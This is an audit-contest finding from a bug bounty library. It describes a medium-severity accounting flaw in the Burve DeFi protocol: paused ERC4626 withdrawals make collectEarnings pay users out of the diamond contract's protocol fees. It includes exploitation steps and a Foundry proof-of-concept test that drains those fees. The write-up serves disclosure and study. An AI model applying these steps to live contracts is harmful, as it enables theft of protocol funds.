# Protocol fee resides in the diamond contract can be wrongly sent to users if the underlying vault temporarily disables withdrawal

When an underlying ERC4626 vault pauses withdrawals, trimBalance's netting breaks and collectEarnings pays users from the diamond's protocol-fee balance.

- Payout: Audit contest
- Severity: medium
- Program: Burve
- Found by: h2134
- Disclosed: 2025-04-17
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-04-burve-judging/issues/247
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-04-burve%3AM-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** ValueFacet.collectEarnings / VertexImpl.trimBalance / VaultProxy withdraw-commit netting
**Root cause:** VaultProxy.withdraw silently returns when maxWithdraw()==0, so the queued withdrawal is never recorded and the deposit/withdraw netting in commit() no longer cancels; the deposit is funded from diamond-held protocol fees.
**Steps:**
1. Set up closure with two E4626 vertices and add value as Alice.
2. Mock vaultA.maxWithdraw(diamond) to return 0 (simulating paused withdrawals).
3. Mint protocol fees (e.g. 6e18 tokenA) directly to the diamond.
4. Call `ValueFacet(diamond).collectEarnings(alice, cid)`.
5. Observe trimBalance's withdraw returns early, commit() deposits assetsToDeposit from diamond balance, and ReserveLib.withdraw also no-ops, then safeTransfer sends collectedBalances to Alice.
6. Assert diamond tokenA balance drops to ~0.
**How found:** Code-read of trimBalance/commit netting logic; noticed VaultProxy.withdraw early-returns when maxWithdraw()==0, breaking the assumed perfect net between deposit and withdrawal.
**Exploitation:** Any user calls collectEarnings while the underlying vault has withdrawals disabled; the diamond's protocol-fee tokens are transferred out as the user's earnings because the internal netting and reserve withdrawal both silently no-op.
**Insight:** When a contract relies on deposit/withdraw netting to be a no-op, check every early-return path (e.g. maxWithdraw()==0, amount==0) that can break the net and cause real token movement from contract-held balances.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test collecting earnings eats protocol fee**

```
function testAudit_CollectingEarningsEatsUpProtocolFee() public {
        uint16 cid = 3;

        // Alice adds value
        address alice = makeAddr("Alice");
        tokenA.mint(alice, 1000e18 + 1);
        tokenB.mint(alice, 1000e6 + 1);

        vm.startPrank(alice);
        tokenA.approve(diamond, 1000e18 + 1);
        tokenB.approve(diamond, 1000e6 + 1);
        ValueFacet(diamond).addValue(alice, cid, 2000e18, 0);
        vm.stopPrank();

        // Mock vault earnings
        {
            tokenA.mint(address(vaultA), 3e18);
        }

        // Mock disable vault withdrawal
        {
            vm.mockCall(
                address(vaultA), 
                abi.encodeWithSelector(ERC4626.maxWithdraw.selector, diamond),
                abi.encode(0)
            );
        }

        // Mock protocol earnings in the contract
        {
            tokenA.mint(diamond, 6e18);
        }

        // There are protocol fees
        assertEq(tokenA.balanceOf(diamond), 6e18);

        // Alice collects earnings when the underlying vault is disabled
        vm.prank(alice);
        ValueFacet(diamond).collectEarnings(alice, cid);

        // The protocol fee is lost
        assertApproxEqAbs(tokenA.balanceOf(diamond), 0, 4e9);
    }
```

